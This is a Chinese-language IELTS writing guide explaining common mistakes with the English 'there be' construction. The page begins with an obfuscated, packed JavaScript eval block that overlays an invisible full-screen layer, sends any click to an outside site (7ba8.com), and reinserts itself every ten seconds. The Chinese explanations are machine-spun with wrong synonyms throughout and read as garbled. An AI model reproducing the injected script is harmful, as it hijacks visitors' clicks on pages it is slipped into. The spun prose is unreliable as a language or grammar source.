<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>简略地讲,所谓there be句型就是一种常见的表明“存在”的句型。可是这种简略的句型,却往往“精约而不简略”,成为考生通往高分路上的一道距离。在平日的作文修改中,有较多此项语法点的过错,笔者摘取典型示例,罗列如下: 1. there be和have对冲
咱们都晓得,根本的语法常识通知咱们,there be和have是不可能一起呈现的,可是适得其反,考生对二者的混用乐此不疲,请看下例:
(1) There has a class meeting. (×)
(2) There is a class meeting. (√)
(3) There will be have some negative effects on the environment.(×)
(4) There will be some negative effects on the environment. (√)
There be布局与have都可表明"有"的含义,但在含义上have着重"一切",而there be则着重"存在",它们的侧重点不一样。在there be句型中be的方式不能用have/has替代。there不能和have (has)连用。There后无论有多少助动词,最终要落实到be上。
下面咱们经过简略的举例弥补阐明下二者的异同:
a. 相同点
表明“一年有……个月/时节、一小时有……分钟”等某些客观存在的“有”时,咱们既能够用have / has, 也能够用there is / are。例如:
A year has four seasons. = There are four seasons in a year.
A minute has sixty seconds. = There are sixty seconds in aminute.
b. 不一样点
●have着重“所属”联系,即“具有”。例如:
I have a younger sister.
Tom has a new computer. (www.ieltsdk.org daikaolm.org)
●there be着重“存在”联系,表明“(某个当地、某个时分)有(什么)”,常与地址状语或时刻状语连用。例如:
There is a map of China on the wall.
There is a comedy at 7:30 this evening.
小结:在运用过程中,首要的问题是弄清楚There be与have所表明的含义。Therebe句型表明“存在”联系,have表明“所属”联系,两者不能混合在一个语句中。
2. there be主谓共同问题
主谓共同问题是考生所犯的最为频频的过错之一,其实从这点能够看出,雅思考试的语法点并不是很难,要害就是仔细程度。首先要认识到在此句型中,这里there是引导词,没有词义,be是谓语动词,代词或名词(短语)是主语。be要与主语坚持人称和数的共同。例如:
(1) There is a desk and two chairs in the room.(紧挨着be动词的主语是a desk, 是奇数,故be的方式要用is)
(2) There are two chairs and a desk in the room.(紧挨着be动词的主语是two chairs, 是复数,故be的方式要用are)
(3) There are some people in the classroom.(同上)
小结:雅思考试和国内的其他等级考试有所不一样,四六级许多时分过火着重语法的高档、句式的杂乱和词汇的冷僻。可是就雅思考试作文项来讲,注重的是语法的精确、运用的地道适宜以及运用的天然流通、适可而止。
3. 关于There be+sb.+doingsth句式
此句式意为“有或人在做某事”。咱们的考生在写作的时分,常常会在there be sb/sth之后增加举措来润饰物体和人的举措表现,可是往往也因而就呈现了许多过错。例如:
(1) There are a great deal of people go abroad every year.
正解:There are a great deal of people going abroad every year.
(2) There are some people suggest that we demolish old buildingin cities.
正解:There are some people suggesting that we demolish old buildings incities.
在there be句式中,表明“有或人在做某事”时,后面的举措要改变成动名词方式,这是根本的语法常识。
4. 时态问题
众所周知,英语中的时态是由动词的变位来表现的,在雅思作文中,若是时态呈现问题,那么考生的语法过错面积就会通篇暴露在考官面前,由于作文的每句话中,简直都离不开动词,因而,对时态的掌握是极其重要的。在there be句型中,be已经是谓语动词,所以,此句型的时态是经过对be动词的改变来表现的。简略罗列剖析如下:
(1) There will be thousands of football fans in London next month.(一般将来时)
(2) There is going to be a film in our school this weekend.(一般将来时)
(3) There is to be a concert at the Albert Hall tonight(一般将来时)
(4) There have been a lot of accidents round here.(现在完结时)
(5) There has been some awful weather lately.(现在完结时)
(6) He told me that there had been an argument between them.(过去完结时)
(7) There will have been a definite result before Friday.(将来完结时)
小结:考生要对时态非常灵敏,否则会由于语法的过错面积太大而失去了作文的全体质量,高分肯定难以包管。
不要盲目寻求所谓语法的高档程度和富丽,要重实用性、重精确度。笔者以为,中国考生的语法储备量是极大的,我国的语法教诲非常的体系乃至过细和繁琐,所以问题就变成了,不是需求不停地弥补新的语法常识,而是要把现有的语法常识顺利输出、仔细运用。一旦语法过关了,咱们在获得雅思高分的路上就去掉了一个极大的妨碍。 |